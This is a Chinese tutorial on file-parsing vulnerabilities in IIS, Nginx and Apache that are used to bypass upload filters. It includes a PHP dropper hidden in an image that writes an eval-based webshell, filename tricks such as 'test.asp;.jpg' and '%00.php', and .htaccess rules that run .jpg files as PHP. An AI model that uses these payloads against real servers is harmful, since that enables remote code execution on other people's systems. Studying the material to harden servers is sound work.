IIS解析漏洞
- 目錄解析漏洞(/test.asp/1.jpg) ---------IIS5.x/6.0
- 文件名解析漏洞(test.asp;.jpg)---------IIS5.x/6.0
- 畸形解析漏洞(test.jpg/*.php)-----------IIS7.0
- 其他解析漏洞---------windows環境
Ngnix解析漏洞
- 畸形解析漏洞(test.jpg/*.php)
- %00空字節代碼解析漏洞
- CVE-2013-4547(%20%00)
Apache解析漏洞
- 文件名解析漏洞
- .htaccess文件
目錄解析漏洞(/test.asp/1.jpg)
在IIS5.x/6.0 中,在網站下建立文件夾的名字為*.asp、*.asa、*.cer、*.cdx 的文件夾,那么其目錄內的任何擴展名的文件都會被IIS當做asp文件來解釋並執行。
例如burpsuite抓包創建目錄 test.asp,那么 /test.asp/1.jpg 將被當做asp文件來執行。假設黑客可以控制上傳文件夾路徑,就可以不管上傳后你的圖片改不改名都能拿shell了
文件名解析漏洞(test.asp;.jpg)
在IIS5.x/6.0 中, 分號后面的不被解析,也就是說 yu.asp;.jpg 會被服務器看成是yu.asp。還有IIS6.0默認的可執行文件除了asp還包含這兩種 .asa .cer 。
而有些網站對用戶上傳的文件進行校驗,只是校驗其后綴名。所以我們只要上傳 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后綴的文件,
就可以通過服務器校驗,並且服務器會把它當成asp文件執行。
畸形解析漏洞(test.jpg/*.php)
微軟發布了IIS7.0修補了IIS6.0的解析漏洞,沒想到IIS7.0爆出更嚴重的畸形解析漏洞,於是微軟急忙發布了IIS7.5
在 IIS7.0中,在默認Fast-CGI開啟狀況下,我們往圖片里面寫入下面的代碼
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>
將文件保存成test.jpg格式,上傳到服務器,假設上傳路徑為/upload,上傳成功后,直接訪問/upload/test.jpg/x.php,此時神奇的畸形解析開始發揮作用啦。test.jpg將會被服務器當成php文件執行,所以圖片里面的代碼就會被執行。我們會神奇的發現在 /upload 目錄下創建了一個一句話木馬文件 shell.php 。
臨時解決辦法:設置 cgi.fix_pathinfo為0
這個解析漏洞和下面講的Nginx的解析漏洞是一樣的。
其他解析漏洞
在windows環境下,xx.jpg[空格] 或 xx.jpg. 這兩類文件都是不允許存在的,若這樣命名,windows會默認除去空格或點,黑客可以通過抓包,在文件名后加一個空格或者點繞過黑名單。若上傳成功,空格和點都會被windows自動消除。
Ngnix解析漏洞
畸形解析漏洞(test.jpg/*.php)
漏洞原因:
· php的配置文件 php.ini 文件中開啟了 cgi.fix_pathinfo
· /etc/php5/fpm/pool.d/www.conf中不正確的配置security.limit_extensions,導致允許將其他格式文件作為php解析執行
在nginx<0.8.03環境中,我們新建一個文件,內容為:<?php phpinfo() ?> ,然后將其名字修改為: test.jpg
在瀏覽器中訪問http://192.168.10.139/test.jpg 顯示圖片解析錯誤。在瀏覽器中訪問 http://192.168.10.139/test.jpg/test.php ,顯示:Access denied.
原因在於,Nginx拿到文件路徑(更專業的說法是URI)/test.jpg/test.php 后,一看后綴是.php,便認為該文件是php文件,於是轉交給php去處理。php一看 /test.jpg/test.php 不存在,便刪去最后的/test.php,又看/test.jpg存在,便把/test.jpg當成要執行的文件了,又因為后綴為.jpg,php認為這不是php文件,於是返回 Access denied. 。
%00空字節代碼解析漏洞
原理:Ngnix在遇到%00空字節時與后端FastCGI處理不一致,導致可以在圖片中嵌入PHP代碼然后通過訪問xxx.jpg%00.php來執行其中的代碼
在以下版本的nginx中,我們在圖片中嵌入PHP代碼然后通過訪問 xxx.jpg%00.php 來執行其中的代碼
· Nginx 0.5.*
· Nginx 0.6.*
· Nginx 0.7 <= 0.7.65
· Nginx 0.8 <= 0.8.37
Apache解析漏洞
.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。
通過 .htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、
允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,
該文件默認開啟,啟用和關閉在 httpd.conf 文件中配置。
.htaccess 文件生效前提條件為
· mod_rewrite 模塊開啟
· AllowOverride All
#1:這個.htaccess的意思就是把所有名字里面含有shell的文件當成php腳本來執行
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatchc>
#2:這里代碼的意思可以讓 .jpg后綴名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg
這樣就可以上傳訪問了